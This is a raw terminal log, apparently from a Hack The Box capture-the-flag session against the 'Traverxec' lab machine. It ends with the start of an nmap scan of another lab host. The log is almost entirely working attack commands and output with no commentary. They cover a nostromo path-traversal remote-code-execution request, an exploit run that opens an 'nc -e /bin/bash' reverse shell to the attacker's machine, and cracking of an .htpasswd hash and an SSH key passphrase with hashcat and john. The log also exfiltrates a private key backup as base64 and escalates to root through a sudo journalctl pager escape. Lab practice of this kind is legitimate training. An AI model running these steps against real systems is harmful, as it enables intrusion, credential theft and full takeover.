uid=2(bin) gid=2(bin) groups=2(bin)
Ncat: 104 bytes sent, 137 bytes received in 0.72 seconds.
tony@laptop:~/htb/traverxec$

tony@laptop:~/htb/traverxec$ echo -e $"POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\nHost: 10.10.10.165Content-Length: 1\r\n\r\necho\necho\nwhereis nc 2&>1\n" | ncat -vn 10.10.10.165 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Connected to 10.10.10.165:80.
HTTP/1.1 200 OK
Date: Sun, 12 Apr 2020 21:12:17 GMT
Server: nostromo 1.9.6
Connection: close


nc: /usr/bin/nc /usr/bin/nc.traditional /usr/share/man/man1/nc.1.gz
2:
Ncat: 112 bytes sent, 172 bytes received in 1.74 seconds.

tony@laptop:~/htb/traverxec$ ./47837.py 10.10.10.165 80 "nc -e /bin/bash 10.10.14.2 3001"


                                        _____-2019-16278
        _____  _______    ______   _____\    \
   _____\    \_\      |  |      | /    / |    |
  /     /|     ||     /  /     /|/    /  /___/|
 /     / /____/||\    \  \    |/|    |__ |___|/
|     | |____|/ \ \    \ |    | |       \
|     |  _____   \|     \|    | |     __/ __
|\     \|\    \   |\         /| |\    \  /  \
| \_____\|    |   | \_______/ | | \____\/    |
| |     /____/|    \ |     | /  | |    |____/|
 \|_____|    ||     \|_____|/    \|____|   | |
        |____|/                        |___|/

tony@laptop:~$ ncat -vnlp 3001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.10.165.
Ncat: Connection from 10.10.10.165:44092.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

python --version
python3 --version
Python 3.7.3
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@traverxec:/usr/bin$

www-data@traverxec:/usr/bin$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
david:x:1000:1000:david,,,:/home/david:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

www-data@traverxec:/usr/bin$ find / -iname nostromo 2>/dev/null
find / -iname nostromo 2>/dev/null
/var/nostromo
www-data@traverxec:/usr/bin$ find /var/nostromo
find /var/nostromo
/var/nostromo
/var/nostromo/logs
/var/nostromo/logs/nhttpd.pid
/var/nostromo/conf
/var/nostromo/conf/mimes
/var/nostromo/conf/.htpasswd
/var/nostromo/conf/nhttpd.conf
/var/nostromo/icons
/var/nostromo/icons/dir.gif
/var/nostromo/icons/file.gif
/var/nostromo/htdocs
/var/nostromo/htdocs/js
/var/nostromo/htdocs/js/main.js
/var/nostromo/htdocs/css
/var/nostromo/htdocs/css/style.css
/var/nostromo/htdocs/empty.html
/var/nostromo/htdocs/lib
/var/nostromo/htdocs/lib/prettyphoto
/var/nostromo/htdocs/lib/prettyphoto/js
/var/nostromo/htdocs/lib/prettyphoto/js/prettyphoto.js
/var/nostromo/htdocs/lib/prettyphoto/css
/var/nostromo/htdocs/lib/prettyphoto/css/prettyphoto.css
/var/nostromo/htdocs/lib/prettyphoto/images
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/default_thumbnail.gif
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/contentPatternBottom.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/btnNext.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/contentPatternTop.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/contentPatternRight.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/btnPrevious.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/contentPatternLeft.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/sprite.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/facebook/loader.gif
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square/default_thumbnail.gif
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square/contentPattern.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square/btnNext.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square/btnPrevious.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square/sprite.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_square/loader.gif
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/default_thumb.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/sprite_next.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/sprite_prev.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/sprite_y.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/sprite.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/sprite_x.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/default/loader.gif
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded/default_thumbnail.gif
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded/contentPattern.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded/btnNext.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded/btnPrevious.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded/sprite.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/dark_rounded/loader.gif
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_square
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_square/default_thumbnail.gif
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_square/btnNext.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_square/btnPrevious.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_square/sprite.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_square/loader.gif
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_rounded
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_rounded/default_thumbnail.gif
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_rounded/btnNext.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_rounded/btnPrevious.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_rounded/sprite.png
/var/nostromo/htdocs/lib/prettyphoto/images/prettyPhoto/light_rounded/loader.gif
/var/nostromo/htdocs/lib/jquery
/var/nostromo/htdocs/lib/jquery/jquery.min.js
/var/nostromo/htdocs/lib/jquery/jquery.js
/var/nostromo/htdocs/lib/bootstrap
/var/nostromo/htdocs/lib/bootstrap/js
/var/nostromo/htdocs/lib/bootstrap/js/bootstrap.min.js
/var/nostromo/htdocs/lib/bootstrap/js/bootstrap.js
/var/nostromo/htdocs/lib/bootstrap/css
/var/nostromo/htdocs/lib/bootstrap/css/bootstrap.min.css
/var/nostromo/htdocs/lib/bootstrap/css/bootstrap.css
/var/nostromo/htdocs/lib/bootstrap/fonts
/var/nostromo/htdocs/lib/bootstrap/fonts/glyphicons-halflings-regular.ttf
/var/nostromo/htdocs/lib/bootstrap/fonts/glyphicons-halflings-regular.woff2
/var/nostromo/htdocs/lib/bootstrap/fonts/glyphicons-halflings-regular.eot
/var/nostromo/htdocs/lib/bootstrap/fonts/glyphicons-halflings-regular.woff
/var/nostromo/htdocs/lib/bootstrap/fonts/glyphicons-halflings-regular.svg
/var/nostromo/htdocs/lib/isotope
/var/nostromo/htdocs/lib/isotope/isotope.min.js
/var/nostromo/htdocs/lib/hover
/var/nostromo/htdocs/lib/hover/hoverex.min.js
/var/nostromo/htdocs/lib/hover/hoverex-all.css
/var/nostromo/htdocs/lib/hover/hoverdir.js
/var/nostromo/htdocs/lib/php-mail-form
/var/nostromo/htdocs/lib/php-mail-form/validate.js
/var/nostromo/htdocs/lib/ionicons
/var/nostromo/htdocs/lib/ionicons/css
/var/nostromo/htdocs/lib/ionicons/css/ionicons.min.css
/var/nostromo/htdocs/lib/ionicons/fonts
/var/nostromo/htdocs/lib/ionicons/fonts/ionicons.woff
/var/nostromo/htdocs/lib/ionicons/fonts/ionicons.ttf
/var/nostromo/htdocs/lib/ionicons/fonts/ionicons.eot
/var/nostromo/htdocs/lib/ionicons/fonts/ionicons.svg
/var/nostromo/htdocs/index.html
/var/nostromo/htdocs/img
/var/nostromo/htdocs/img/client4.png
/var/nostromo/htdocs/img/client3.png
/var/nostromo/htdocs/img/header-2.jpg
/var/nostromo/htdocs/img/apple-touch-icon.png
/var/nostromo/htdocs/img/sep.jpg
/var/nostromo/htdocs/img/portfolio
/var/nostromo/htdocs/img/portfolio/portfolio_04.jpg
/var/nostromo/htdocs/img/portfolio/portfolio_07.jpg
/var/nostromo/htdocs/img/portfolio/portfolio_10.jpg
/var/nostromo/htdocs/img/portfolio/portfolio_09.jpg
/var/nostromo/htdocs/img/portfolio/portfolio_08.jpg
/var/nostromo/htdocs/img/portfolio/portfolio_01.jpg
/var/nostromo/htdocs/img/portfolio/portfolio_05.jpg
/var/nostromo/htdocs/img/portfolio/portfolio_03.jpg
/var/nostromo/htdocs/img/portfolio/portfolio_06.jpg
/var/nostromo/htdocs/img/portfolio/portfolio_02.jpg
/var/nostromo/htdocs/img/logoclient.png
/var/nostromo/htdocs/img/items.png
/var/nostromo/htdocs/img/client5.png
/var/nostromo/htdocs/img/favicon.png
/var/nostromo/htdocs/img/screen.png
/var/nostromo/htdocs/img/client1.png
/var/nostromo/htdocs/img/header.jpg
/var/nostromo/htdocs/img/client2.png
/var/nostromo/htdocs/Readme.txt
www-data@traverxec:/usr/bin$

www-data@traverxec:/usr/bin$ cat /var/nostromo/conf/nhttpd.conf
cat /var/nostromo/conf/nhttpd.conf
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

www-data@traverxec:/usr/bin$ cat /var/nostromo/conf/.htpasswd
cat /var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

tony@laptop:~$ hashcat --example-hashes | grep '$1' -m2 -A 2 -B 2

MODE: 500
TYPE: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
HASH: $1$38652870$DUjsu4TTlTsOe/xxZ05uf/
PASS: hashcat

tony@laptop:~$ ~/tools/hashcat-5.1.0/hashcat64.bin -m500 '$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/' ~/wl/rockyou.txt2 --quiet
clGetDeviceIDs(): CL_DEVICE_NOT_FOUND

clGetDeviceIDs(): CL_DEVICE_NOT_FOUND

$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/:Nowonly4me

tony@laptop:~$ ssh david@10.10.10.165
The authenticity of host '10.10.10.165 (10.10.10.165)' can't be established.
ECDSA key fingerprint is SHA256:CiO/pUMzd+6bHnEhA2rAU30QQiNdWOtkEPtJoXnWzVo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.165' (ECDSA) to the list of known hosts.
david@10.10.10.165's password:
Permission denied, please try again.
david@10.10.10.165's password:
Permission denied, please try again.
david@10.10.10.165's password:
david@10.10.10.165: Permission denied (publickey,password).

www-data@traverxec:/usr/bin$ ls /home
ls /home
david
www-data@traverxec:/usr/bin$ ls -lah /home/david
ls -lah /home/david
ls: cannot open directory '/home/david': Permission denied

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

www-data@traverxec:/usr/bin$ ls -la /home/david/public_www/
ls -la /home/david/public_www/
total 16
drwxr-xr-x 3 david david 4096 Oct 25 15:45 .
drwx--x--x 5 david david 4096 Oct 25 17:02 ..
-rw-r--r-- 1 david david  402 Oct 25 15:45 index.html
drwxr-xr-x 2 david david 4096 Oct 25 17:02 protected-file-area
www-data@traverxec:/usr/bin$ ls -la /home/david/public_www/protected-file-area
ls -la /home/david/public_www/protected-file-area
total 16
drwxr-xr-x 2 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 david david 4096 Oct 25 15:45 ..
-rw-r--r-- 1 david david   45 Oct 25 15:46 .htaccess
-rw-r--r-- 1 david david 1915 Oct 25 17:02 backup-ssh-identity-files.tgz
www-data@traverxec:/usr/bin$ ls -la /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
ls -la /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
-rw-r--r-- 1 david david 1915 Oct 25 17:02 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
www-data@traverxec:/usr/bin$ base64 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
base64 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
H4sIAANjs10AA+2YWc+jRhaG+5pf8d07HfYtV8O+Y8AYAzcROwabff/1425pNJpWMtFInWRm4uem
gKJ0UL311jlF2T4zMI2Wewr+OI4l+Ol3AHpBQtCXFibxf2n/wScYxXGMIGCURD5BMELCyKcP/Pf4
mG+ZxykaPj4+fZ2Df/Peb/X/j1J+o380T2U73I8s/bnO9vG7xPgiMIFhv6o/AePf6E9AxEt/6LtE
/w3+4vq/NP88jNEH84JFzSPi4D1BhC+3PGMz7JfHjM2N/jAadgJdSVjy/NeVew4UGQkXbu02dzPh
6hzE7jwt5h64paBUQcd5I85rZXhHBnNuFCo8CTsocnTcPbm7OkUttG1KrEJIcpKJHkYjRhzchYAl
5rjjTeZjeoUIYKeUKaqyYuAo9kqTHEEYZ/Tq9ZuWNNLALUFTqotmrGRzcRQw8V1LZoRmvUIn84Yc
rKakVOI4+iaJu4HRXcWH1sh4hfTIU5ZHKWjxIjo1BhV0YXTh3TCUWr5IerpwJh5mCVNtdTlybjJ2
r53ZXvRbVaPNjecjp1oJY3s6k15TJWQY5Em5s0HyGrHE9tFJuIG3BiQuZbTa2WSSsJaEWHX1NhN9
noI66mX+4+ua+ts0REs2bFkC/An6f+v/e/rzazl83xhfPf7r+z+KYsQ//Y/iL/9jMIS//f9H8PkL
rCAp5odzYT4sR/EYV/jQhOBrD2ANbfLZ3bvspw/sB8HknMByBR7gBe2z0uTtTx+McPkMI9RnjuV+
wEhSEESRZXBCpHmEQnkUo1/68jgPURwmAsCY7ZkM5pkE0+7jGhnpIocaiPT5TnXrmg70WJD4hpVW
p6pUEM3lrR04E9Mt1TutOScB03xnrTzcT6FVP/T63GRKUbTDrNeedMNqjMDhbs3qsKlGl1IMA62a
VDcvTl1tnOujN0A7brQnWnN1scNGNmi1bAmVOlO6ezxOIyFVViduVYswA9JYa9XmqZ1VFpudydpf
efEKOOq1S0Zm6mQm9iNVoXVx9ymltKl8cM9nfWaN53wR1vKgNa9akfqus/quXU7j1aVBjwRk2ZNv
GBmAgicWg+BrM3S2qEGcgqtun8iabPKYzGWl0FSQsIMwI+gBYnzhPC0YdigJEMBnQxp2u8M575gS
Ttb3C0hLo8NCKeROjz5AdL8+wc0cWPsequXeFAIZW3Q1dqfytc+krtN7vdtY5KFQ0q653kkzCwZ6
ktebbV5OatEvF5sO+CpUVvHBUNWmWrQ8zreb70KhCRDdMwgTcDBrTnggD7BV40hl0coCYel2tGCP
qz5DVNU+pPQW8iYe+4iAFEeacFaK92dgW48mIqoRqY2U2xTH9IShWS4Sq7AXaATPjd/JjepWxlD3
xWDduExncmgTLLeop/4OAzaiGGpf3mi9vo4YNZ4OEsmY8kE1kZAXzSmP7SduGCG4ESw3bxfzxoh9
M1eYw+hV2hDAHSGLbHTqbWsuRojzT9s3hkFh51lXiUIuqmGOuC4tcXkWZCG/vkbHahurDGpmC465
QH5kzORQg6fKD25u8eo5E+V96qWx2mVRBcuLGEzxGeeeoQOVxu0BH56NcrFZVtlrVhkgPorLcaip
FsQST097rqEH6iS1VxYeXwiG6LC43HOnXeZ3Jz5d8TpC9eRRuPBwPiFjC8z8ncj9fWFY/5RhAvZY
1bBlJ7kGzd54JbMspqfUPNde7KZigtS36aApT6T31qSQmVIApga1c9ORj0NuHIhMl5QnYOeQ6ydK
DosbDNdsi2QVw6lUdlFiyK9blGcUvBAPwjGoEaA5dhC6k64xDKIOGm4hEDv04mzlN38RJ+esB1kn
0ZlsipmJzcY4uyCOP+K8wS8YDF6BQVqhaQuUxntmugM56hklYxQso4sy7ElUU3p4iBfras5rLybx
5lC2Kva9vpWRcUxzBGDPcz8wmSRaFsVfigB1uUfrGJB8B41Dtq5KMm2yhzhxcAYJl5fz4xQiRDP5
1jEzhXMFQEo6ihUnhNc0R25hTn0Qpf4wByp8N/mdGQRmPmmLF5bBI6jKiy7mLbI76XmW2CfN+IBq
mVm0rRDvU9dVihl7v0I1RmcWK2ZCYZe0KSRBVnCt/JijvovyLdiQBDe6AG6cgjoBPnvEukh3ibGF
d+Y2jFh8u/ZMm/q5cCXEcCHTMZrciH6sMoRFFYj3mxCr8zoz8w3XS6A8O0y4xPKsbNzRZH3vVBds
Mp0nVIv0rOC3OtfgTH8VToU/eXl+JhaeR5+Ja+pwZ885cLEgqV9sOL2z980ytld9cr8/naK4ronU
pOjDYVkbMcz1NuG0M9zREGPuUJfHsEa6y9kAKjiysZfjPJ+a2baPreUGga1d1TG35A7mL4R9SuII
FBvJDLdSdqgqkSnIi8wLRtDTBHhZ0NzFK+hKjaPxgW7LyAY1d3hic2jVzrrgBBD3sknSz4fT3irm
6Zqg5SFeLGgaD67A12wlmPwvZ7E/O8v+9/LL9d+P3Rx/vxj/0fmPwL7Uf19+F7zrvz+A9/nvr33+
e/PmzZs3b968efPmzZs3b968efPmzf8vfweR13qfACgAAA==

tony@laptop:~/htb/traverxec$ vim backup-ssh-identity-files.tgz.b64
tony@laptop:~/htb/traverxec$ base64 -d backup-ssh-identity-files.tgz.b64 > backup-ssh-identity-files.tgz
tony@laptop:~/htb/traverxec$ file backup-ssh-identity-files.tgz
backup-ssh-identity-files.tgz: gzip compressed data, last modified: Fri Oct 25 21:02:59 2019, from Unix, original size modulo 2^32 10240
tony@laptop:~/htb/traverxec$ tar tfz backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
tony@laptop:~/htb/traverxec$ tar xfz backup-ssh-identity-files.tgz
tony@laptop:~/htb/traverxec$ ssh -i home/david/.ssh/id_rsa david@10.10.10.165
Enter passphrase for key 'home/david/.ssh/id_rsa':
Enter passphrase for key 'home/david/.ssh/id_rsa':
Enter passphrase for key 'home/david/.ssh/id_rsa':
david@10.10.10.165's password:

tony@laptop:~/htb/traverxec$

tony@laptop:~/htb/traverxec$ ~/git/JohnTheRipper/run/ssh2john.py home/david/.ssh/id_rsa
home/david/.ssh/id_rsa:$sshng$1$16$477EEFFBA56F9D283D349033D5D08C4F$1200$b1ec9e1ff7de1b5f5395468c76f1d92bfdaa7f2f29c3076bf6c83be71e213e9249f186ae856a2b08de0b3c957ec1f086b6e8813df672f993e494b90e9de220828aee2e45465b8938eb9d69c1e9199e3b13f0830cde39dd2cd491923c424d7dd62b35bd5453ee8d24199c733d261a3a27c3bc2d3ce5face868cfa45c63a3602bda73f08e87dd41e8cf05e3bb917c0315444952972c02da4701b5da248f4b1725fc22143c7eb4ce38bb81326b92130873f4a563c369222c12f2292fac513f7f57b1c75475b8ed8fc454582b1172aed0e3fcac5b5850b43eee4ee77dbedf1c880a27fe906197baf6bd005c43adbf8e3321c63538c1abc90a79095ced7021cbc92ffd1ac441d1dd13b65a98d8b5e4fb59ee60fcb26498729e013b6cff63b29fa179c75346a56a4e73fbcc8f06c8a4d5f8a3600349bb51640d4be260aaf490f580e3648c05940f23c493fd1ecb965974f464dea999865cfeb36408497697fa096da241de33ffd465b3a3fab925703a8e3cab77dc590cde5b5f613683375c08f779a8ec70ce76ba8ecda431d0b121135512b9ef486048052d2cfce9d7a479c94e332b92a82b3d609e2c07f4c443d3824b6a8b543620c26a856f4b914b38f2cfb3ef6780865f276847e09fe7db426e4c319ff1e810aec52356005aa7ba3e1100b8dd9fa8b6ee07ac464c719d2319e439905ccaeb201bae2c9ea01e08ebb9a0a9761e47b841c47d416a9db2686c903735ebf9e137f3780b51f2b5491e50aea398e6bba862b6a1ac8f21c527f852158b5b3b90a6651d21316975cd543709b3618de2301406f3812cf325d2986c60fdb727cadf3dd17245618150e010c1510791ea0bec870f245bf94e646b72dc9604f5acefb6b28b838ba7d7caf0015fe7b8138970259a01b4793f36a32f0d379bf6d74d3a455b4dd15cda45adcfdf1517dca837cdaef08024fca3a7a7b9731e7474eddbdd0fad51cc7926dfbaef4d8ad47b1687278e7c7474f7eab7d4c5a7def35bfa97a44cf2cf4206b129f8b28003626b2b93f6d01aea16e3df597bc5b5138b61ea46f5e1cd15e378b8cb2e4ffe7995b7e7e52e35fd4ac6c34b716089d599e2d1d1124edfb6f7fe169222bc9c6a4f0b6731523d436ec2a15c6f147c40916aa8bc6168ccedb9ae263aaac078614f3fc0d2818dd30a5a113341e2fcccc73d421cb711d5d916d83bfe930c77f3f99dba9ed5cfcee020454ffc1b3830e7a1321c369380db6a61a757aee609d62343c80ac402ef8abd56616256238522c57e8db245d3ae1819bd01724f35e6b1c340d7f14c066c0432534938f5e3c115e120421f4d11c61e802a0796e6aaa5a7f1631d9ce4ca58d67460f3e5c1cdb2c5f6970cc598805abb386d652a0287577c453a159bfb76c6ad4daf65c07d386a3ff9ab111b26ec2e02e5b92e184e44066f6c7b88c42ce77aaa918d2e2d3519b4905f6e2395a47cad5e2cc3b7817b557df3babc30f799c4cd2f5a50b9f48fd06aaf435762062c4f331f989228a6460814c1c1a777795104143630dc16b79f51ae2dd9e008b4a5f6f52bb4ef38c8f5690e1b426557f2e068a9b3ef5b4fe842391b0af7d1e17bfa43e71b6bf16718d67184747c8dc1fcd1568d4b8ebdb6d55e62788553f4c69d128360b407db1d278b5b417f4c0a38b11163409b18372abb34685a30264cdfcf57655b10a283ff0
tony@laptop:~/htb/traverxec$ ~/git/JohnTheRipper/run/ssh2john.py home/david/.ssh/id_rsa > sshkey.hash

tony@laptop:~/htb/traverxec$ ~/git/JohnTheRipper/run/john sshkey.hash --wordlist=/home/tony/wl/rockyou.txt2
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (home/david/.ssh/id_rsa)
1g 0:00:00:07 3.91% (ETA: 22:54:46) 0.1347g/s 87210p/s 87210c/s 87210C/s imtihan..imporio
Session aborted

tony@laptop:~/htb/traverxec$ ssh -i home/david/.ssh/id_rsa david@10.10.10.165
Enter passphrase for key 'home/david/.ssh/id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
david@traverxec:~$ id
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

david@traverxec:~$ cat user.txt
<miau>

david@traverxec:~$ ls bin
server-stats.head  server-stats.sh
david@traverxec:~$ cat bin/server-stats.head
                                                                          .----.
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                            /:::=======:::\
                                                        jgs '"""""""""""""'

david@traverxec:~$ cat bin/server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

david@traverxec:~$ sudo -l
[sudo] password for david:
Sorry, try again.
[sudo] password for david:
Sorry, try again.
[sudo] password for david:
sudo: 3 incorrect password attempts
david@traverxec:~$

david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Fri 2020-03-20 23:50:48 EDT, end at Sat 2020-03-21 00:58:16 EDT. --
Mar 20 23:50:52 traverxec nhttpd[442]: started
Mar 20 23:50:52 traverxec nhttpd[442]: max. file descriptors = 1040 (cur) / 1040 (max)
Mar 20 23:50:52 traverxec systemd[1]: Started nostromo nhttpd server.
Mar 21 00:38:39 traverxec su[819]: pam_unix(su-l:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost=  user=david
Mar 21 00:38:41 traverxec su[819]: FAILED SU (to david) www-data on none

david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n10 -unostromo.service
[sudo] password for david:
^Csudo: 1 incorrect password attempt

david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Fri 2020-03-20 23:50:48 EDT, end at Sat 2020-03-21 01:06:49 EDT. --
Mar 20 23:50:52 traverxec nhttpd[442]: started
!/bin/bash
root@traverxec:/home/david# id
uid=0(root) gid=0(root) groups=0(root)
root@traverxec:/home/david#

root@traverxec:/home/david# cat /root/root.txt
<miau>

root@laptop:~# nmap -sS -p- --open -n -v 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-08 13:16 CST
Initiating Ping Scan at 13:16
Scanning 10.10.10.4 [4 ports]
Completed Ping Scan at 13:16, 0.11s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:16
Scanning 10.10.10.4 [65535 ports]
Discovered open port 445/tcp on 10.10.10.4
Discovered open port 139/tcp on 10.10.10.4
SYN Stealth Scan Timing: About 14.45% done; ETC: 13:20 (0:03:04 remaining)
SYN Stealth Scan Timing: About 32.21% done; ETC: 13:20 (0:02:08 remaining)
SYN Stealth Scan Timing: About 56.10% done; ETC: 13:19 (0:01:11 remaining)
SYN Stealth Scan Timing: About 78.51% done; ETC: 13:19 (0:00:33 remaining)
Completed SYN Stealth Scan at 13:19, 142.82s elapsed (65535 total ports)
Nmap scan report for 10.10.10.4
Host is up (0.055s latency).
Not shown: 65532 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 143.06 seconds
           Raw packets sent: 131178 (5.772MB) | Rcvd: 111 (4.864KB)

root@laptop:~# nmap -sU -p- --open -n -v 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-08 13:20 CST
Initiating Ping Scan at 13:20
Scanning 10.10.10.4 [4 ports]
